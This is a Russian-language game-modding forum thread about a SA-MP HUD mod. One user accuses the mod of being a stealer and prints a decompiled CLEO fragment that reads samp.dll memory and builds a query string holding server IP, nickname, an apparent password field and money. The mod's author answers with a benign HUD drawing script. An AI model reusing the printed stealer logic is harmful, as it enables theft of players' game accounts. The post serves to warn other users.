|
C-HUD by Nas
|
|
| [CM]Cok_ |
Дата: Суббота, 30.07.2016, 14:26 | Сообщение # 1
|
Новичок
Сообщений: 10
Статус: Offline
|
|
|
|
|
|
| Los9ra |
Дата: Суббота, 30.07.2016, 14:36 | Сообщение # 2
|
Новичок
Сообщений: 20
Статус: Offline
|
Худ...полоски заменил и всё. -ставлю
Losyara_228
|
|
|
|
|
| Grustnuy |
Дата: Суббота, 30.07.2016, 14:42 | Сообщение # 3
|
¯\_(ツ)_/¯
Сообщений: 201
Статус: Offline
|
Мне кажется стоит логотип или подобное что нибудь добавить, уж слишком пустует место. (ИМХО)
Если вам удалось обмануть кого-то, не думайте, что тот кого вы обманули дурак. Просто вам доверяли больше, чем вы того заслуживаете.
Λ S Λ T Λ ♥
|
|
|
|
|
| xCrazyx |
Дата: Суббота, 30.07.2016, 14:55 | Сообщение # 4
|
Top Seller in The World
Сообщений: 357
Статус: Offline
|
Лучше интерфейс худ сделать,ито красивее будет,лично мне такие не нравятся,и вверху мини карты можно свой ник,имя поставить!
|
|
|
|
|
| andre500 |
Дата: Суббота, 30.07.2016, 15:36 | Сообщение # 5
|
|
|
C-Hud Nas [Здоровье].cs стиллер.
Код 0AA2: 31@ = load_library "kernel32.dll" // IF and SET 0AA4: 30@ = get_proc_address "GetModuleHandleA" library 31@ // IF and SET 0AA7: call_function 30@ num_params 1 pop 0 "samp.dll" 0@ 0A8E: 3@ = 0@ + 2203896 // int 0A8D: 2@ = read_memory 3@ size 4 virtual_protect 1 if 2@ > 1000 jf @Noname_943 0A8E: 22@ = 2@ + 973 // int 0A8D: 23@ = read_memory 22@ size 4 virtual_protect 1 if 2@ > 1000 jf @Noname_943 0A8E: 5@ = 23@ + 24 // int 0A8D: 4@ = read_memory 5@ size 4 virtual_protect 1 if 4@ > 1000 jf @Noname_943 0A8E: 5@ = 4@ + 34 // int 0A8D: 24@ = read_memory 5@ size 4 virtual_protect 1 if 24@ > 1000 jf @Noname_943 0A8E: 22@ = 0@ + 2203832 // int 0A8D: 1@ = read_memory 22@ size 4 virtual_protect 1 if 1@ > 1000 jf @Noname_943 0A8E: 7@ = 1@ + 40 // int 0A8D: 6@ = read_memory 7@ size 4 virtual_protect 1 0A8E: 5@ = 1@ + 44 // int 0A8D: 26@ = read_memory 5@ size 4 virtual_protect 1 if 6@ == 1 jf @Noname_416 if or 26@ == 1 26@ == 3 jf @Noname_416 25@ = 1 if and 25@ == 1 not 6@ == 1 jf @Noname_943 0A8E: 7@ = 1@ + 48 // int 0A8D: 3@ = read_memory 7@ size 4 virtual_protect 1 0A8E: 6@ = 1@ + 36 // int 0A8D: 13@ = read_memory 6@ size 4 virtual_protect 1 0A8E: 6@ = 0@ + 528432 // int 0AA8: call_function_method 6@ struct 13@ num_params 0 pop 0 5@ 0A8E: 6@ = 4@ + 26 // int 0A8D: 23@ = read_memory 6@ size 4 virtual_protect 1 0A8E: 7@ = 4@ + 10 // int if not 23@ >= 16 jf @Noname_579 0085: 12@ = 7@ // (int) goto @Noname_591 0A8D: 12@ = read_memory 7@ size 4 virtual_protect 1 wait 100 0A8E: 9@ = 2@ + 289 // int 0A8E: 14@ = 2@ + 32 // int 0A8E: 8@ = 2@ + 549 // int 0A8D: 15@ = read_memory 8@ size 4 virtual_protect 1 0A8E: 18@ = 4@ + 42 // int 0A8D: 27@ = read_memory 18@ size 4 virtual_protect 1 21@ = Player.Money($0[2]) 0AC6: 0@ = label @Noname_1637 offset call @Noname_950 0 22@ 4@ 25@ 6@ 7@ 8@ 19@ 10@ alloc 20@ 1024 gosub @Noname_1664 alloc 20@ 456 format 20@ "%sbase=%d&ip=%s:%d&serv=%s&inid=%d&inp=%s&mn=%d&score=%02d&time=%02d:%d&data=%02d.%02d&nn=%s" 0@ 28@ 14@ 15@ 9@ 3@ 5@ 21@ 27@ 7@ 8@ 6@ 4@ 12@ alloc 8@ 356 format 8@ "" call @Noname_1192 1 8@ 9@ call @Noname_1265 2 9@ 20@ free 8@ free 20@ 25@ = 0 goto @Noname_38 0AA2: 0@ = load_library "kernel32.dll" // IF and SET 0AA4: 1@ = get_proc_address "GetLocalTime" library 0@ // IF and SET alloc 2@ 32 0AA5: call 1@ num_params 1 pop 0 2@ 0A8D: 3@ = read_memory 2@ size 2 virtual_protect 0 2@ += 2 0A8D: 4@ = read_memory 2@ size 2 virtual_protect 0 2@ += 2 0A8D: 5@ = read_memory 2@ size 2 virtual_protect 0 2@ += 2 0A8D: 6@ = read_memory 2@ size 2 virtual_protect 0 2@ += 2
|
|
|
|
|
| [CM]Cok_ |
Дата: Суббота, 30.07.2016, 15:42 | Сообщение # 6
|
Новичок
Сообщений: 10
Статус: Offline
|
andre500, Код {$CLEO .cs}
//-------------MAIN--------------- 0662: printstring "SYSTEMFV12" wait 0 thread "$NONAME" 03F0: enable_text_draw 1
:33 wait 0 0@ = Actor.Health($PLAYER_ACTOR) 03E4: set_text_draw_align_right 1 033F: set_text_draw_letter_size 0.5 0.8 0340: set_text_draw_RGBA 255 255 255 255 081C: draw_text_outline 1 RGBA 0 0 0 255 045A: draw_text_1number 530.0 75.0 GXT 'NUMBER' number 0@ // ~1~ if not 0@ >= 250 jf @33 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 60 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255 if not 0@ >= 155 jf @33 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 61 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255 if not 0@ >= 150 jf @33 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 62 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255 if not 0@ >= 145 jf @33 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 63 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255 if not 0@ >= 140 jf @33 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 64 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255 if not 0@ >= 135 jf @33 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 65 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255 if not 0@ >= 130 jf @33 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 66 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255 if not 0@ >= 125 jf @33 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 67 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255 if not 0@ >= 120 jf @33 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 68 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255 if not 0@ >= 115 jf @33 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 69 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255 if not 0@ >= 110 jf @33 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 70 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255 if not 0@ >= 105 jf @33 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 71 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255 if not 0@ >= 100 jf @33 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 72 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255 if not 0@ >= 95 jf @33 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 73 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255 if not 0@ >= 90 jf @33 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 74 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255 if not 0@ >= 85 jf @33 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 75 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255 if not 0@ >= 80 jf @33 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 76 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255 if not 0@ >= 75 jf @33 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 77 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255 if not 0@ >= 70 jf @33 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 78 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255 if not 0@ >= 65 jf @33 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 79 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255 if not 0@ >= 60 jf @33 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 80 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255 if not 0@ >= 55 jf @33 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 81 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255 if not 0@ >= 50 jf @33 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 82 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255 if not 0@ >= 45 jf @33 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 83 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255 if not 0@ >= 40 jf @33 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 84 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255 if not 0@ >= 35 jf @33 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 85 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255 if not 0@ >= 30 jf @33 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 86 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255 if not 0@ >= 25 jf @33 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 87 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255 if not 0@ >= 20 jf @33 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 88 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255 if not 0@ >= 15 jf @33 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 89 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255 if not 0@ >= 10 jf @33 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 90 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255 if not 0@ >= 5 jf @33 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 91 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255 if not 0@ >= 2 jf @33 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 92 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255 jump @33
Вот код и не п**** Надоели уже
Сообщение отредактировал [CM]Cok_ - Суббота, 30.07.2016, 15:46 |
|
|
|
|
| andre500 |
Дата: Суббота, 30.07.2016, 15:57 | Сообщение # 7
|
|
|
Цитата [CM Cok_;3918751]Вот код и не п**** Эх щас бы кидать псевдо-исходный код вместо настоящего
Вот уж кого, а меня, скриптера с 4-летним стажем, такой фигней не обмануть
Сообщение отредактировал andre500 - Суббота, 30.07.2016, 15:58 |
|
|
|
|
| [CM]Cok_ |
Дата: Воскресенье, 07.08.2016, 21:51 | Сообщение # 8
|
Новичок
Сообщений: 10
Статус: Offline
|
andre500, кому надо будет сам код посмотрит Добавлено (07.08.2016, 21:51) --------------------------------------------- up
|
|
|
|
|
| -Masson- |
Дата: Четверг, 06.07.2017, 03:05 | Сообщение # 9
|
Сообщений: 2529
Статус: Offline
|
|
|
|
|
|